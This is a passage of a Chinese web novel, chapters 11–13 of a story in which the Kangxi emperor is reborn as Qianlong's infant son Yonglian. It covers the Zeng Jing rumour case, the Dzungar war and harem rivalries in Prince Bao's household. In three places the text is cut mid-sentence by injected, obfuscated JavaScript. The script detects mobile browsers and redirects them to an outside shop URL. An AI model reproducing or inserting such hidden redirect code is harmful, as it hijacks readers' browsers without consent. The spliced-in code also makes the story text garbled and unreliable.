“皇阿玛把丧仪交给十二叔去办了。”弘历显然也是知道了这事,他揉着额头说道:“到时咱们去祭拜一番即可。” 宝琳点头,明白这是不用她来操心的意思。 玄烨还是有些郁郁寡欢,提不起精神来,只是又怕宝琳担心,只能装睡,结果还没装一会就听到弘历又开始跟额娘大倒苦水。 弘历和他这个七叔的感情不深,所以对淳亲王薨逝一事倒是没有多大的触动,反而对今儿雍正生了大气的事啰里啰嗦地和宝琳絮叨。 雍正今儿生这么大气,便是因为湖南的那个曾静案。 这个曾静案简而言之就是一个在民间散布谣言之事,给雍正编了十条大罪,从北京到广西广为流传,分别是—— 谋父,逼母,弑兄,屠弟 贪财,好色,酗酒,□□ 怀疑诛忠,好谀任佞。 这十条大罪一罗列下来,别说雍正了,就连一边装睡的玄烨都惊呆了。 尤其是当听到弘历说,此等谣言是已经获罪的老八和老九的奴才们流放至广西时,一路上散播的时候,玄烨脑门子上的黑线已经快要掉下来了。 这是直接洋洋洒洒流传了大半个大清朝啊。 胤禛……真是倒霉催的了,玄烨都有点怜爱这个儿子了。 据弘历所说,养心殿里是人仰马翻,什么折子,瓷器,字画都滚了一地,雍正指天誓地地大骂早就已经圈禁而死的胤禩和胤禟,说他们是冤孽,死了都不消停。 玄烨:…… 今天这一连串的消息真是对他这小小的身体伤害太大了。 而且胤禩和胤禟被革去宗籍,撤去黄带子,早就不在玉碟上了,所以哪怕是弘历也只能称呼他们为阿其那和塞思黑。 玄烨的耳朵竖起来,阿其那和塞思黑? 听弘历的意思应当是指胤禩和胤禟,他又想起老五和老七在他跟前哭诉时,曾说过胤禩和胤禟被革去宗籍,既然没了宗籍那确实是要改了名字。 只是这两名字…… 也不知道是谁给起的。 不过如今老七薨逝,老四这又焦头烂额被人按了这十条大罪在头上,玄烨这还是头一次觉得自己这些儿子们真是各有各的惨。 弘历也是觉得头大,皇阿玛对这曾静一案的反应比他预想的实在是强烈太多了。 雍正心里简直就是一个大写的委屈。 自从登基以来,他是夙兴夜寐宵衣旰食,没日没夜地搞改革,推新政,得罪人的事,影响声名的事他是一点也不在乎,只要能丰盈国库让老百姓过上好日子,他都一力推行了,结果竟然落了个这样的下场。 雍正心里苦啊! 方才拉着怡亲王,张廷玉和弘历是倒来倒去地一一驳斥这所谓的十条大罪,把三个人整地有些头晕脑胀。 而回了宝亲王府之后,弘历没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16533863|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府里也是一片鸡飞狗跳。 金氏小产了,还是和高侧福晋推搡间摔了。 一听闻这个消息,宝琳都吓了一跳,扭头一看弘历的神色,果然是皱紧了眉头,怒气已经开始翻涌了。 宝琳面色不变,吩咐鸢尾带着李德全先送永琏回去,自己则柔声说道:“王爷,咱们先去看看金妹妹,具体发生了什么事再细细查查,让人回禀可好?” 弘历脸色微微缓和了些,说道:“福晋考虑地周到,就这么办吧。” 两人去了金氏院子,里头也是乱糟糟的,几个格格们正在外头等着,尤其是高氏一脸焦急地揪着帕子,她也没想到这金氏竟然有了身孕,否则她再怎么生气都不可能推她那一把。 弘历和宝琳来了,众人都起身行礼问安。 弘历听着里头时不时传来的金氏的惨叫声,眉头就没松开过,他拧着眉挥了挥手,坐到了上首,宝琳也跟着坐到了他的身旁。 “怎么回事,怎么就搞成了这副样子?” 高氏扑通一声跪下,声泪俱下地先是直接认错:“是妾身的不是,不知晓金妹妹有了身孕,今儿一早在院子里撞上,金妹妹言语之间讽刺妾身,妾身这才气急了,推了她一下,没成想……” “妾身不敢推诿,还请王爷和福晋责罚。” 金氏和高氏之间的过节无非就是前几日金氏语出不逊,拿宝琳给富察格格请封的事出来兴风作浪,因着这事发生在院子里,四周的奴才们多,所以一核实就知道高氏没有扯谎,确实是金氏先挑衅在先。 而且金氏有孕连她自个也不知道。 加上弘历本就因为金氏嘴上没把门的,害得他在福晋面前丢了脸而对她不满,所以听完事情始末,虽说还是为这个没了的孩子伤心,对金氏倒也没有多少怜惜之情了。 宝琳看了半晌,也揣摩出弘历的意思,于是说道:“王爷,依妾身看今儿也是误会一场,不如就让侧福晋抄写百遍佛经为金妹妹腹中的孩子祝祷,至于金妹妹毕竟是失了孩子,先前的禁足和月例银子就免罚了吧,让她好好养着身子。” 弘历也觉得这样处置不错,他也忙着处理曾静案的事,便直接起身离开了,把这一大堆烂摊子都丢给了宝琳。 苏氏在底下小声和珂里叶特氏说道:“福晋还真是心疼侧福晋,就这么轻轻放过了。” 珂里叶特氏没说话。 高氏眼哭地红肿了一片,上前两步说道:“多谢福晋。” 宝琳拍了拍她的手,无奈地说道:“以后不要再同人动手了,像什么样子,今儿也当是给你个警醒。” 高氏连忙点头,今天这一遭也是差点把她的魂给吓跑了。 宝琳在这多留了一会,直到太医出来回禀金氏的情况已经稳定,睡过去了,宝琳这才离开。 今儿她也算是累了一天,一回到正院就卸了钗环首饰,芙蓉和杜鹃服侍着她沐浴了之后,虽然还不到睡觉的时辰还是直接换了寝衣,在榻上捡了本话本子看着玩。 “福晋,奴婢看李公公对咱们二阿哥真是尽心尽力。”芙蓉坐在脚踏上锈花,说道:“今儿一来,他便仔细查看了偏殿里二阿哥入口的,贴身的东西,几个嬷嬷也都仔细盘问过。” 宝琳笑了笑:“李公公打小就服侍康熙爷,如今咱们永琏也算是沾上他太爷爷的光了。” 11. 第十一章 而此时的玄烨内心也是百感交集。 他怎么也没想到李德全竟然还能服侍在他身边。 只是李德全如今岁数也不小了,虽然身体看着还硬朗,但也早就过了知天命之年了,但是来了宝亲王府之后,整个人是神采奕奕,在玄烨的屋里头是忙地连轴转,一点都不嫌累。 看到如今的二阿哥就笑地见牙不见眼。 “若是皇上还在,见到如此肖似他的玄孙,还不知道高兴成什么样子呢。” 李德全坐在玄烨的小床旁边,看着他就忍不住落下泪来。 玄烨在心里叹了口气,心道这转生一世就是看着故人垂垂老矣,或是如胤祐一般走在他前头是最让人难过的了。 宝琳对李德全是极为敬重的,也吩咐了鸢尾不要让李公公做什么重活,只是李德全向来是个妥帖人,既然来了宝亲王府也不会拿乔,把该做的事都做地利利索索的,大多时候也都是围着玄烨打转。 淳亲王的丧礼是由履亲王一手操持的,宝琳也是按着规矩要去祭拜,只是不成想那日一向乖巧的永琏非要跟着她一起去,怎么哄都不成,只要宝琳一撒手,他就开始哭地惊天动地。 宝琳没法子只能带上他一起,奇的是到了淳亲王府这小子竟然就老实了,乖乖巧巧地被鸢尾抱着,只直勾勾地盯着淳亲王的棺椁。 因着玄烨跟着一起来了,宝琳到底还是担心人太多,又是丧礼会吓着他,所以走完流程就抱着他回去了。 回去之后玄烨还是消沉了一阵子,过了大半个月才缓过神来。 如今的玄烨一门心思都在怎么能够快点长大,每天都伸伸胳膊蹬蹬腿,畅想着以后自己能跑能跳能说话的日子。 最近玄烨已经在尝试着让自己多动动,他如今已经五个多月,被人扶着已经可以坐上一会了。 宝琳把玄烨放在一边的小床上,自己则坐在一旁给他编玩具,是一个活灵活现的小猴子,玄烨这一世属猴,她便仔细地编了个猴子的玩具,藤条都是仔细挑过没有半点异味和倒刺的,外头又罩上厚厚的锦缎。 宝琳为了编这个手指还划破了一道小口子。 玄烨见了顿时急了,只是他不能说话还没法做什么动作,只能费劲地拍手,宝琳不明所以,试探地把手递过去,就被他软绵绵的小手握住了,玄烨还小心地避开了她的伤口,咿咿呀呀地叫了两声。 宝琳被他这急切的小模样逗地心里一暖,还是她的宝贝儿子贴心啊。 她最近忙着调节高氏和金氏之间愈演愈烈的纷争,也是疲惫地不得了。 金氏身子养好了之后,可谓是对高氏恨到了骨子里,毕竟她可是没了个孩子,所以两人之间是彻底撕破了脸,针尖对麦芒。 高氏起初也是忍让多一些,毕竟确实是她情急之下推了金氏一把,才让她没了孩子,孩子毕竟是无辜的,也是一条性命。 她老老实实地按照宝琳的吩咐,给那孩子抄录了百遍往生经,想要去佛前供奉祷告为孩子祈福,结果全都被金氏给撕了。 于是两人就开始掐地昏天黑地,高氏如今是侧福晋地位上比金氏高了不少,可金氏也不是吃素的,入府以来仗着弘历的宠爱也笼络了不少人手,两人你来我往,今儿我截你的宠,明儿我在王爷面前上眼药,斗地十分热闹。 苏氏又一向和金氏交好,两人便联手对抗高氏,高氏没法子只能时不时跑到宝琳这来哭诉。 好在院子里其他的妾室还算安静,没掺和这些事。 不过即使如此,宝琳还是已经一个头两个大了。 而且弘历最近忙着处理曾静案也是没心思管后院的这些事,干脆都丢给宝琳来处理了。 宝琳也没什么好办法,只能把两人轮流叫来敲打一番,高氏一向还算听她的话,虽然委屈但也算是让了一步,结果金氏变本加厉反而更趾高气扬了,宝琳没法子只能禁足了金氏两个月,宝亲王府这才算安静下来。 这一通折腾下来,玄烨也快七个月了,小孩子一天一个样长地飞快,现在玄烨也已经完成了头一个壮举——能够自己坐起来了。 而且隐隐有要长牙的趋势,宝琳逮着这小子好几次偷偷摸摸啃手指头。 于是宝琳闲暇之余便亲自动手用些面粉之类的东西,给玄烨做些磨牙棒,让他咬着玩。 没想到李公公虽然上了年纪,但是手巧地很,很会做这些小玩意,于是便和宝琳一起动手。 芙蓉几个也在一旁帮着打下手,玄烨被搁在了榻上,鸢尾在一旁看着。 如今春意正好,外头百花盛开漂亮极了,玄烨翻了个身,抬头往窗外看,掰着指头数,等今年过年的时候,他应该就能跑能跳了。 欸,拘在这副婴儿的身体里,虽然能被额娘抱抱亲亲,但还是有点不自在。 宝琳瞧了玄烨一眼,笑着说:“永琏这孩子,一时都闲不下来,等到他能走路了还不知道多么调皮呢。” “二阿哥这是聪慧。” 李德全如今对玄烨的滤镜简直比宝琳这个老母亲的还要厚,玄烨做什么他都觉得好。 李德全笑着说道:“老奴在宫里见过许多小阿哥,没有一个像咱们二阿哥这么机灵懂事的。” 宝琳对康熙朝那些事还挺好奇的,有李德全这么个百科全书在,她也是忍不住问道:“前些日子宜太妃过寿,我见宜太妃如此的年纪,还是风采不减当年,想来当年康熙爷应当是很宠爱吧?” 在榻上翻来覆去,努力锻炼力量的玄烨听完宝琳的话,顿时呆住了。 啊啊啊! 额娘怎么开始打听起他后宫的事来了! 这也太尴尬了。 偏偏李德全这个老货还笑着接话道:“是啊,宜妃娘娘年轻时可谓是艳冠后宫,先帝很是宠爱,否则也不会连生三子。” “可惜十一阿哥早逝,九爷又……” 李德全这段日子在宝琳这,也是早就把宝琳的脾性摸清了,知道这位福晋是个性子宽和,为人良善的,平日里和奴才们也爱这样闲聊打发时光。 加上这还是二阿哥的额娘,李德全对宝琳也是打心眼里敬重加喜爱的,所以有些话他也愿意和她说。 宝琳也叹口气说道:“好在恒亲王还在,能够让宜太妃颐养天年。” 李德全也点头道:“恒亲王淳厚,是先帝都常夸的。” “我今儿也是见着金格格,便想起宜太妃来。”宝琳笑着说:“我记着当年康熙爷驾崩的时候,宜太妃还是坐着轿子去的灵堂,连太后当时都是走着去的。” 当年她听说这事的时候都差点惊掉下巴,心想这宜妃娘娘得多受宠才能干出这种嚣张的事来。 一边费劲翻身想要摆脱尴尬的玄烨:??? 什么东西? 坐轿子去给他奔丧?! 这个宜妃…… 李德全也点头,感叹道:“宜妃娘娘性子就是如此,和金格格倒是确实有些相似之处。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16533864|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “也都是美人。”宝琳笑着把话接过来。 玄烨又把自己烙煎饼似地翻过来,暗戳戳地想,旁的不说,宜妃长地可比那个尖酸刻薄的金氏漂亮多了。 也就弘历这个没见过世面的宠成这样。 看着宝琳兴致勃勃还想再挖一挖关于他后宫的猛料,玄烨终于忍不住了,咿咿呀呀地叫起来。 额娘,别再问了,看看你可怜的儿子吧! 宝琳急忙擦了擦手上的面粉,上前把玄烨抱起来。 “这是怎么了,小脸通红的。” 宝琳检查了一下也没尿,现在更是不到他吃饭的时候,怎么突然闹起来了。 鸢尾笑着说:“二阿哥兴许是想念福晋了,福晋一抱就不闹了。” 玄烨对鸢尾的传话很满意,轻点了两下头。 李德全在一旁笑地像朵菊花:“二阿哥不止生地像先帝爷,连这举止都像。” “先帝爷从前就是喜欢这样点两下头。”李德全怀念地说道。 这二阿哥颔首的动作,幅度,都像极了。 玄烨:“……” 大意了,李德全确实是太了解他了。 宝琳惊讶道:“真的吗?” 难不成她这宝贝儿子真跟康熙有这么深的缘分? 几人正围着玄烨说话,弘历这时候突然来了。 弘历一进来就臭着一张脸,大马金刀地往榻上一坐,随手叫了起。 宝琳把玄烨交给鸢尾抱着,又让芙蓉等人赶紧把刚刚那些面粉收拾了。 “王爷这是怎么了,看着心情不佳。” 宝琳捧了盏茶,弘历喝了一口又搁下了。 开始拉着宝琳喋喋不休地吐槽。 宝琳听了半天才明白是怎么一回事。 原来是曾静那个谣言案子终于彻底查实,结案了。 那个江南的书生吕留良虽然已经去世,甚至儿子都已经离世了,因为编纂逆书还是被雍正下令把父子俩开棺戮尸,家里头也是被抄家下狱,这些处置本没什么,弘历也觉得稀松平常。 只是不知道雍正突然抽了什么风,非要整理一本书来反驳这些谣言,名字都定好了,就叫大义觉迷录。 而且这书他还要亲自撰写,等到书成之后要在整个大清内推行,从官员到百姓,都必须给朕看! 都要知道朕有多委屈! 满朝大臣欲言又止。 就连怡亲王都劝不住上头的雍正。 “你说皇阿玛这……”弘历也是一堆话在口里就是说不出来,最后只能叹了口气。 “如此这般,不是更让朝野议论了。” 反倒是让这些谣言传播地更广了。 弘历实在是想不明白自己皇阿玛为何要这么做,只是十三叔都劝不住,更不用说他了。 玄烨在一边听完也是目瞪口呆。 老四这是……终于被逼疯了? 他也是十分不容易地和弘历这小子站在了同一方,这些谣言本就应该严令禁止,实在不行抓起来杀上几个就老实了,这样广为传播…… 只能说老四在这些臣民言论上的想法还是太天真了。 宝琳听了也是不知道该说什么好,这皇上做的决定,谁都阻拦不了。 不过诸位大臣们现在也确实没心思再来劝谏这大义觉迷录的事,因为有一项更重要的事也被在朝堂上提上日程了。 朝廷要正式跟准噶尔开战了。 12. 第十二章 弘历为了战事忙地焦头烂额,也不大进后院了,平常最喜欢搞事的金氏被禁足了两个月之后见状也消停了些,宝琳难得得了清净多陪着玄烨。 玄烨知道了朝廷跟准噶尔开战了,也是跟着心痒痒。 想当年他三次亲征准噶尔,虽说都打退了准噶尔,大胜而归,可终归没能收复准噶尔,这也算是他一个不小的遗憾了。 弘历每次来宝琳这时,偶尔会提两句准噶尔之事,宝琳对此兴趣不大,但是玄烨每次都是竖起来耳朵听的,断断续续也知道此次是岳钟琪挂帅,而且目前进展地也还算顺利。 傅恒这几日也被宝琳接到了宝亲王府,每日除了读书就是陪着玄烨玩,而且这孩子因着朝廷和准噶尔开战,也是雄赳赳气昂昂地同她说以后也要做大将军,为大清开疆拓土,弘历听了之后抚掌大笑,对自己这个妻弟是越看越喜欢,拎着他到前院亲自教导去了。 宝琳最近则又开了库房,准备挑些养身的药材给富察氏送去。 永璜哪怕是病好之后身子骨看着还是弱些,虽算不上三病两痛但是终归看着有些孱弱。 而玄烨比起永璜来,身子骨要好上了不少,每天都伸伸胳膊蹬蹬腿,一副精神很好的模样。 平时最喜欢的就是让宝琳带着他出门转悠,最近天气渐冷宝琳担心他像永璜一样着凉就不好了,所以便不怎么带他出门了。 玄烨最爱的玩乐就变成了听宝琳给他念书。 宝琳其实是个不大爱看正经书的人,诗书经册她这没有几本,话本子倒是有好几摞。 而且最让她惊喜的是,曹先生的《红楼梦》在这个时候完本了! 宝琳也没想到这穿越一遭还有这种好事,前些年她就一直在私下里追更,知道有了完本之后便立刻派人去搜罗了来,如痴如醉地连看了两天多,难得把玄烨都冷落在了一边。 玄烨坐在小床上,随手拿着个玩具装乖,斜眼看着宝琳捧着书,时而大笑时而又落泪的,心痒好奇地不得了的同时还有些嫉妒。 到底是什么话本子能把额娘迷成这样! 想到这他就哼哼唧唧地叫了两声,装作不舒坦的模样扭了扭身子,果然这招虽然有些幼稚但是十分有效,宝琳立刻把书丢在一边把他抱起来。 “我们永琏这是怎么了?” 玄烨的眼神直勾勾地往那书的方向看,到底是什么小妖精把额娘的魂都勾走了! 宝琳见他直盯着红楼,十分惊喜地抱起他亲了一口,说道:“我们永琏真是从小就有品味,你若是想看额娘读给你听好不好?” 起初玄烨懒洋洋地想着,反正如今他闲着也是闲着,当听个趣也好。 结果听着听着他就发现不对劲了。 这个书里头的贾家怎么越听越耳熟啊,尤其是知道了写这书的人姓曹之后,他便肯定了原来这是写的曹家啊! 想当初他四次南巡都驻跸在曹家,曹寅的母亲又是他的乳母,他对曹家还算是了解一些的,虽说书里那些事是不是发生在曹家的他不大清楚,但是那些对贾家和园子里的描写却和曹家的布局建筑有六七分像。 想来应当是曹寅的后人写的。 不得不说,这人文采尚可,写的书也怪有趣的,怪不得额娘看地如痴如醉。 玄烨心道,若是如今他能说话了,还能跟额娘聊几句曹家的事呢。 宝琳看完以后便琢磨着,该怎么把书完整地保存下来,她绞尽脑汁也没想到什么好法子,玄烨在一边看地一头雾水,在他看来即使这书写地再漂亮,也不过是打发时间的话本之流,额娘这视若珍宝的模样真是怪哉。 后来连弘历都发现了宝琳最近的古怪,知道了她最近也在看红楼后,啼笑皆非地说:“前些日子本王在高氏那也看到了一本,想来也是福晋给的吧。” 宝琳尴尬一笑:“不过是打发一下时间罢了。” 她心虚地想,实际上她可不止分享给了高氏,现在这书可谓是风靡了全府,苏氏,陈氏这些平日就喜欢读书的,也都很是喜欢。 弘历随手拿起翻了几页,也没品出什么特殊之处来,只以为是个谈情说爱的话本子。 宝琳腹诽,这可是四大名著,比你那些记事口水诗好到不知道哪里去了。 不过在得知玄烨喜欢听人读书之后,弘历就来了劲,连着好几天来宝琳这都守着玄烨读圣祖仁皇帝起居录,美其名曰让永琏以太爷爷为标榜。 玄烨:“……” 魔音贯耳。 看到弘历这小子这么崇敬他的模样,玄烨都不知道该哭还是该笑了。 只是如今很明确的是他真的不想听自己的起居录了! 张廷玉怎么记了这么多,听地他头疼。 莫名被骂了的张廷玉正在兢兢业业地继续整理清圣祖实录,打了两个喷嚏还以为是最近着凉了,灌了一碗姜汤继续奋笔疾书。 自从在淳亲王丧礼上见了宝亲王府的二阿哥之后,他整理这清圣祖实录就更来劲了。 …… 日子就这样流水般的过去,到了雍正八年的时候,玄烨已然快要两岁,已经能跑能跳说话流利了。 “额娘!” 玄烨穿着一身靛蓝色的衣裳从屋外跑进来,他现在已经开始蓄发,看着毛绒绒的一团,门外的阳光也跟着他跑进来,整个人就跟在发光一样。 宝琳正在理这个月的账目,见玄烨来了便放下手中的笔,俯下身子给他擦了擦汗。 “如今外头还冷,出了这么多汗小心着凉。” 玄烨咧嘴一笑,献宝似地把手里开地正艳的牡丹花拿给宝琳看。 “给额娘摘了花。” 宝琳看了一眼,这牡丹是洛阳红,金氏最喜欢的,弘历特意给她寻来了些名种,栽在园子里。 李德全也跟在后头进来,听到宝琳的话连忙说道:“福晋放心,老奴给二阿哥加了衣裳。” 宝琳笑了笑,说道:“李公公辛苦了,芙蓉,搬个凳子给李公公坐下。” 李德全连连摆手,福晋这是给他脸面,可他也不能忘了尊卑规矩。 尤其是宝亲王可是个最重规矩的。 李德全坚持宝琳也只能算了,她转头看向玄烨,问道:“这花是从哪摘的?” 玄烨眨了眨眼睛,装傻:“院子里。” 他自然是知道这是金氏喜爱的花,但是玄烨对金氏实在是没有什么好感。 这两年来宝亲王府若是没有金氏,额娘能少操多少心。 她一个人就不知道折腾出多少事来。 尤其是弘历这个色欲熏心的,被金氏迷地五迷三道,还这么宠爱这个女人。 宝琳拉着玄烨去洗手洗脸,到底是儿子的一番心意,她也没再说什么。 只是她心里也明白,永琏是个鬼灵精,他定然是故意去折了金氏的花,只是宝琳也不觉得是什么大事。 一枝花罢了,永琏才两岁,懂什么。 就算是弘历知道了也只会大夸特夸永琏有孝心。 在弘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16533865|186455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历心里,虽然金氏是得宠,可和永琏比起来就差远了。 宝琳给玄烨洗了手,又擦了脸,刚想领着他去吃点点心,鸢尾掀了帘子进来。 “福晋,刚刚富察格格那有人来报,说富察格格有喜了。” 宝琳先是一惊,随后连连笑着说:“好,真是大喜事,去库房里捡些东西,待会我去看看她。” 自从玄烨出生之后,宝亲王府里除了金氏那个小产的孩子,就再也没有孩子降生了,算一算如今也两年多了。 不过宝琳暗暗地想,若不是前朝准噶尔一战打了一年多也没打完,弘历忙地焦头烂额,没空进后院,否则以弘历那四处留情的模样,现在宝亲王府的孩子早就满地爬了。 玄烨坐在椅子上,晃悠着双腿,悠闲地吃着枣泥糕,听到富察氏有喜了,他拍了拍手上的糕点,问道:“额娘,您什么时候再给儿子添一个小弟弟或者小妹妹啊?” 他对弘历其他的孩子兴趣不大,但若是额娘生的,和他一母同胞的弟妹,他定然会好好地护着他们一辈子的。 上一世他和福全虽然亲近,可毕竟不是一母所出,如今有机会能有血脉相连的亲生弟妹,玄烨也是有些期待的。 说到这个宝琳心里也有点打鼓,按理说她头胎应该是个女儿,可偏偏生了永琏,现在她也有点拿不准自己什么时候能再有孩子,更不知道会生出什么东西来了。 只是既然永琏提了,她便笑着问道:“那永琏想要弟弟还是妹妹?” 玄烨还认真地想了想,然后说道:“妹妹!” 香香软软的妹妹! 玄烨话音刚落,弘历便进来了。 “永琏说什么妹妹呢?” 弘历今儿看着心情还不错,笑着进屋说道。 “富察妹妹有了身孕,永琏正浑说呢。”宝琳笑着说道。 弘历听了这个消息也是一喜:“富察氏有孕了?” 宝琳点了点头,玄烨刚刚带回来的牡丹花已经被鸢尾找了个瓶子插了起来,宝琳瞧了一眼,怕金氏又撒娇卖痴地给永琏上眼药,于是先开口说道:“永琏这孩子今儿去园子里玩,见这牡丹开地好,想起妾身喜欢牡丹便折了几枝回来,我一瞧正是金妹妹喜爱的洛阳红,正想着送点什么东西去赔礼。” 而弘历果然也是大手一挥,满不在意地说道:“不过是枝花罢了,永琏折便折了,有什么好赔礼的。” 说罢,他又看向玄烨:“永琏,到阿玛这儿来。” 玄烨:“……” 虽然他很不想搭理弘历,但是没法子毕竟现在轮到他给人家当儿子了。 弘历摸了摸玄烨的头,夸了他一番孝顺,又笑着说道:“如今准噶尔打地顺利,今儿岳钟琪送了军报来,准噶尔已经派人求和,宝琳若是喜欢花,那一处有许多漂亮的花样,我让人去带些回来。” 宝琳一听自己哪敢让出征的将士们给她带花,赶忙回绝了。 不过也算知道了弘历今儿心情为什么这么好。 也差不多到了午膳的时辰,弘历便顺道留下来用午膳,说等午后和宝琳一道去看看富察氏。 宝琳喜爱吃鱼,今儿也有一道清蒸鲫鱼,玄烨乖巧地给她夹了一筷子,宝琳笑了笑刚夹起来想送进嘴里,不知为何闻到这鱼的味道却有些反胃恶心,干呕了起来。 玄烨吓了一跳赶忙跳下来,围着宝琳紧张地问怎么了,弘历也赶忙让人找了大夫来。 没成想这一把脉,宝琳竟然也已经有孕两个月了。 13. 第十三章 宝琳一被诊出有孕,弘历就高兴地合不拢嘴了,连忙让人把膳食撤下去重新做一份,看着宝琳的肚子傻笑。 玄烨看着他这一副不值钱的样子翻了个白眼,不过再转念一想弘历这小子和额娘夫妻感情深厚也是好事,总比相看两相厌的好。 只不过他总觉得额娘不像表面上那样鹣鲽情深,心里对弘历是有些淡淡的。 只是如今这些都比不上他马上就要有一个嫡亲的兄弟姐妹了! “这样算起来,你与富察氏还真是有缘分,永璜和永琏是同一年生的,如今你们俩又一起有了孩子。”弘历笑着说道。 宝琳想了想,倒还真是。 这奇妙的缘分也不知是从何而来的。 芙蓉几个换了些清淡的菜色上来,弘历陪着宝琳用了一些,又陪着她说了会话,最后才恋恋不舍地被宝琳催着去看看富察格格。 本来她也是想一起去的,结果弘历也不知道抽什么风,非让她好好养着,不让她随便走动了。 宝琳没办法,只能让芙蓉取了些补身的药材来,让弘历一道给富察氏捎过去。 弘历看着那些药材,突然握着她的手叹了口气道:“你有孕是喜事,本王本不想同你说这些。” “只是……十三叔近来怕是不大好。”弘历低声说道:“如今缠绵病榻,太医说恐怕也就是这几个月的事了,恰逢你又有了身孕,本王想着若是十三叔真有个不好,便向皇阿玛说一声,不让你去走动服丧了。” 这两年怡亲王生了病,身体不好,是许多人都知道的事,更何况是他还常往宝亲王府来,而且几乎次次来都要探望永琏,所以宝琳对这事倒是有心理准备。 她叹了口气说:“前些日子下面的人送了些上好的药材来,待会妾身便让人找出来送去十三叔那。” “这些事你都不用操心,好好养着身子就好。”弘历欣慰地拍了拍她的手,思索了一会又说道:“府里的事你有精神便管,若是不想管了就都丢给侧福晋,如今万事都以你和腹中的孩子为重。” 宝琳抿唇笑了笑,无奈地道:“哪里就这么娇弱了,又不是头一胎了。” “妇人生产都是鬼门关。”弘历严肃道:“万万不能大意。” 好不容易等弘历絮叨完了离开,宝琳才松了口气。 杜鹃捧了盏清茶上来,笑着说道:“王爷对福晋是几年如一日的好,如今又要有第二个小主子了,奴婢们看着都高兴呢。” 宝琳摸了摸还平坦着的小腹,也笑了笑。 永琏作为她头一个孩子实在是太听话懂事了,从小到大没让她受过一点累,所以现在她觉得再养一个也挺不错。 想到永琏,她扭头一看永琏不知什么时候正坐在椅子上怔怔地发呆,像丢了魂一样。 “永琏。”宝琳轻轻地唤了他一声,问道:“这是怎么了?” 玄烨这才回过神来,他从椅子上跳下来,脱了鞋直接爬上榻,扑到了宝琳怀里,闷闷地不说话了。 宝琳摸着他毛绒绒的脑袋,柔声问道:“这是怎么了?” 她心想难不成是担心她有了第二个孩子所以以后不疼他了? 好像好多孩子都会这么想。 “永琏,以后不管有几个弟弟妹妹,额娘都是一样疼爱你的,我们永琏这么乖巧,额娘最疼你了。”宝琳抚摸着玄烨的头,温柔地说道。 玄烨埋在宝琳胸前,摇了摇头。 半晌后他抬起头说道:“额娘,叔爷爷今年不过才四十四岁……” 玄烨也有一段时间没见到胤祥了,好似是被老四派去巡查河务了,不过几个月的工夫怎么就病重了。 这两年来胤祥和他相处的时候不算多也不算少,但比起两年前胤祐薨逝,现在玄烨的心里更难受了。 把宝琳怀孕带来的喜悦也给冲淡了。 提起这个宝琳也是有些难受,怡亲王纯属是把自己累到油尽灯枯的,不少人都曾劝过,就连雍正都亲自劝过他不要如此拼命,可他心里却总像是憋着一股劲一样,非要把所有的事都做到最好,也不知道是想给谁看。 “人都有生老病死,非人力所能及。”宝琳说道:“咱们能做的就是在人还在世的时候,不要让自己留下遗憾,明白吗?” 玄烨思索了一会,重重地点了点头。 怡亲王毕竟如今还好好的,而且到底是府外的事,而宝亲王府里因为宝琳和富察氏再次同时有孕,又有不少人帕子都要撕烂了。 头一个咬碎牙的就是金氏了。 尤其是她本来应该有一个孩子,结果却那么莫名其妙地没了。 宝琳和富察氏有孕之后,弘历最常去的就是高氏和金氏那了,这两人又是积年的冤家,这一下明争暗斗地就更厉害了。 只是高氏到底不比金氏有手段,掰扯下来弘历还是去金氏那多上一些。 这日弘历宿在她院子里,两人用完晚膳后,弘历便在榻上拾了本书看,金氏换了寝衣柔若无骨地靠了上去,美人投怀送抱弘历自然不会拒绝,温香软玉在怀,又有美人红袖添香,这书读地更有趣味了。 不过没过一会,弘历就发现金氏今日一直秀眉微蹙,不大高兴的样子。 “今儿是怎么了,谁又惹着你了?”弘历懒洋洋地问。 金氏的贴身婢女翠雯上前奉茶,顺势说道:“回王爷,格格喜欢的那牡丹花让二阿哥给折了,格格看着那残花便有些难过。” “本王还当是什么事呢,不过是几朵花罢了。”弘历瞥她一眼,说道:“永琏还小,他喜欢什么便让他玩去罢。” 这话里的偏袒简直是明显地不能再明显了。 金氏也不傻,她自然能看出弘历眼神里的警告,二阿哥可是王爷捧在手心里的宝贝金疙瘩,满府里谁不知道。 故而她立刻说道:“王爷说的是,妾身哪敢和二阿哥计较这些,眼看要入夏了,园子里花开地漂亮,若是二阿哥喜欢,明日妾身便让人送去给二阿哥赏玩。” 弘历屈膝靠坐着,一手轻敲着膝盖,漫不经心地嗯了一声。 “今儿倒是转了性了,如此懂事。” 